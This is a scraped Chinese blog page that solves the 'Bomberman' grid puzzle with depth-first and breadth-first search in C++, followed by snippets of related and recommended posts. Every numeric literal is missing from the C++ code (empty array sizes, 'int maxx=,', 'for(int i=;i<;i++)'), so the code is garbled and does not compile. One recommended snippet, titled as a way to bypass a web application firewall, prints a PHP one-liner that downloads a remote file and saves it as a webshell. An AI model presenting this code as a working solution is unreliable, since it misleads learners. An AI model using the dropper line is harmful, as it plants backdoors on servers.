输入样例:

13 13 3 3
#############
#GG.GGG#GGG.#
###.#G#G#G#G#
#.......#..G#
#G#.###.#G#G#
#GG.GGG.#.GG#
#G#.#G#.#.#.#
##G...G.....#
#G#.#G###.#G#
#...G#GGG.GG#
#G#.#G#G#.#G#
#GG.GGG#G.GG#
#############

输出样例:

炸弹放置在(8,12),消灭敌人最多为10

  • 深搜代码:

#include<cstdio>
#include<iostream>
#define INF 10000000
using namespace std;
char a[][];
int b[][];
int next[][]={{,},{,},{,-},{-,}};//四个方向
int maxx=,mx,my,tx,ty,n,m;
int getsum(int x,int y)//计算一共可以消灭的敌人
{
int sum=;
int i=x,j=y;
while(a[i][j]!='#')//向下
{
if(a[i][j]=='G')sum++;
i++;
}
i=x;j=y;
while(a[i][j]!='#')//向上
{
if(a[i][j]=='G')sum++;
i--;
}
i=x;j=y;
while(a[i][j]!='#')//向左
{
if(a[i][j]=='G')sum++;
j--;
}
i=x;j=y;
while(a[i][j]!='#')//向右
{
if(a[i][j]=='G')sum++;
j++;
}
return sum;
} void dfs(int x,int y)
{
int sum=getsum(x,y);
if(sum>maxx)//更新最大值
{
maxx=sum;
mx=x;
my=y;
}
for(int i=;i<;i++)
{
tx=x+next[i][];
ty=y+next[i][];
if(tx>n||ty>m||tx<||ty<)//判断越界
continue;
if(b[tx][ty]==&&a[tx][ty]=='.')//未被标记并且是空地
{
b[tx][ty]=;//此处不用还原标记数组,因为不是找路径而是记录每个点消灭敌人的数
dfs(tx,ty);
}
}
return ;
} int main()
{
int sx,sy;
scanf("%d%d%d%d",&n,&m,&sx,&sy);
for(int i=;i<=n;i++)
for(int j=;j<=m;j++)
scanf(" %c",&a[i][j]);
dfs(sx,sy);
printf("炸弹放置在(%d,%d),消灭敌人最多为%d\n",mx,my,maxx);
return ;
}
  • 广搜代码:

#include<cstdio>
#include<iostream>
#define INF 10000000
using namespace std;
char a[][];
int b[][];
int next[][]={{,},{,},{,-},{-,}};//四个方向 struct node//用结构体模拟队列
{
int x;
int y; }que[]; int getsum(int x,int y)//计算一共可以消灭的敌人
{
int sum=;
int i=x,j=y;
while(a[i][j]!='#')//向下
{
if(a[i][j]=='G')sum++;
i++;
}
i=x;j=y;
while(a[i][j]!='#')//向上
{
if(a[i][j]=='G')sum++;
i--;
}
i=x;j=y;
while(a[i][j]!='#')//向左
{
if(a[i][j]=='G')sum++;
j--;
}
i=x;j=y;
while(a[i][j]!='#')//向右
{
if(a[i][j]=='G')sum++;
j++;
}
return sum;
} int main()
{
int n,m,sx,sy,tx,ty,mx,my;
scanf("%d%d%d%d",&n,&m,&sx,&sy);
//getchar();
for(int i=;i<=n;i++)
for(int j=;j<=m;j++)
scanf(" %c",&a[i][j]);
//初始化队列
int head=;
int tail=;
//将起点入队
que[tail].x=sx;
que[tail].y=sy;
tail++;//队尾指针++,队尾指针要指向空队列
b[sx][sy]=;//标记起点
int maxx=getsum(sx,sy);
int flag=,sum;
//开始广搜
while(head<tail)//队列不为空
{
for(int i=;i<;i++)//四个方向搜索
{
//计算从父亲(head)点到下一个点
tx=que[head].x+next[i][];
ty=que[head].y+next[i][];
if(tx<||ty<||tx>n||ty>m)//是否越界
{
continue;
}
if(b[tx][ty]==&&a[tx][ty]=='.')//这个点没有走过并且是空地
{
b[tx][ty]=;//标记走过,此处与深搜不同,不能还原标记
//将此点入队
que[tail].x=tx;
que[tail].y=ty;
tail++;//队尾指针++
sum=getsum(tx,ty);
if(sum>maxx)
{
maxx=sum;
mx=tx;
my=ty;
}
}
}
head++;//四个方向可以进入路径的都已入队,将head出队
}
printf("炸弹放置在(%d,%d),消灭敌人最多为%d\n",mx,my,maxx);
return ;
}

再解炸弹人,dfs&bfs的更多相关文章

  1. 再解炸弹人——BFS

    原创 之前用了枚举法解炸弹人,题目详情请看我之前的博客:https://www.cnblogs.com/chiweiming/p/9295262.html 利用枚举法是无视地图布局的,枚举法直接全局搜 ...

  2. 三解炸弹人——DFS

    原创 枚举解炸弹人—— https://www.cnblogs.com/chiweiming/p/9295262.html BFS解炸弹人—— https://www.cnblogs.com/chiw ...

  3. 【DFS/BFS】NYOJ-58-最少步数(迷宫最短路径问题)

    [题目链接:NYOJ-58] 经典的搜索问题,想必这题用广搜的会比较多,所以我首先使的也是广搜,但其实深搜同样也是可以的. 不考虑剪枝的话,两种方法实践消耗相同,但是深搜相比广搜内存低一点. 我想,因 ...

  4. HDU 4414 Finding crosses (DFS + BFS)

    题意:在N*N的图中,找出孤立存在的十字架的个数.十字架要求为正十字,孤立表示组成十字架的‘#的周围的一格再无’#‘. dfs找出在中心的‘#’(周围四格也为‘#'),则缩小了搜索范围,再bfs找出是 ...

  5. ID(dfs+bfs)-hdu-4127-Flood-it!

    题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=4127 题目意思: 给n*n的方格,每个格子有一种颜色(0~5),每次可以选择一种颜色,使得和左上角相 ...

  6. HDU 4771 (DFS+BFS)

    Problem Description Harry Potter has some precious. For example, his invisible robe, his wand and hi ...

  7. POJ 3083 -- Children of the Candy Corn(DFS+BFS)TLE

    POJ 3083 -- Children of the Candy Corn(DFS+BFS) 题意: 给定一个迷宫,S是起点,E是终点,#是墙不可走,.可以走 1)先输出左转优先时,从S到E的步数 ...

  8. [LeetCode]695. 岛屿的最大面积(DFS/BFS)、200. 岛屿数量(DFS/BFS待做/并差集待做)

    695. 岛屿的最大面积 题目 给定一个包含了一些 0 和 1的非空二维数组 grid , 一个 岛屿 是由四个方向 (水平或垂直) 的 1 (代表土地) 构成的组合.你可以假设二维矩阵的四个边缘都被 ...

  9. DFS/BFS+思维 HDOJ 5325 Crazy Bobo

    题目传送门 /* 题意:给一个树,节点上有权值,问最多能找出多少个点满足在树上是连通的并且按照权值排序后相邻的点 在树上的路径权值都小于这两个点 DFS/BFS+思维:按照权值的大小,从小的到大的连有 ...

随机推荐

  1. 【转】wpf 模板选择器DataTemplateSelector及动态绑定,DataTemplate.Triggers触发器的使用

    通常,如果有多个 DataTemplate 可用于同一类型的对象,并且您希望根据每个数据对象的属性提供自己的逻辑来选择要应用的 DataTemplate,则应创建 DataTemplateSelect ...

  2. react服务端渲染同构报错Browser history needs a DOM

    https://github.com/nozzle/react-static/issues/343 去掉了browserRouter就不报错了,但是又会有其他报错..

  3. windows环境下redis启动加到服务中

    前置条件: 1.命令运行在redis-server.exe目录下  2.cmd命令  安装命令: redis-server.exe --service-install redis.windows.co ...

  4. 算法提高 新建Microsoft Word文档

      算法提高 新建Microsoft Word文档   时间限制:1.0s   内存限制:256.0MB      问题描述 L正在出题,新建了一个word文档,想不好取什么名字,身旁一人惊问:“你出 ...

  5. laravel安装一直报错

    laravel安装一直报错 原因: 1.找到php版本是否对应 2.缺少第三方扩展库vendor 需要composer update 解决链接:https://learnku.com/docs/lar ...

  6. mybatis08--关联查询多对一

    根据省会的id查询出省会和对应国家的信息 01.多表的连接查询 修改对应的实体类信息 /** *国家的实体类 */ public class Country { private Integer cId ...

  7. 远程下载马bypass waf

    <?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...

  8. yarn-RM-check-by-curl

    #!bin/bash SELF_DIR="$( cd "$( dirname "$0" )" && pwd )" #grep ...

  9. juqery 回车事件 回车操作 回车搜索

    html <form class="search_wrap" method="post" action=""> <div ...

  10. Oracle的基本查询知识

    基本语法 SELECT [DISTINCT] {*, column [alias],...} FROM table;参数说明SELECT 标识出所需的数据列.函数.常量和表达式.Distinct 删除 ...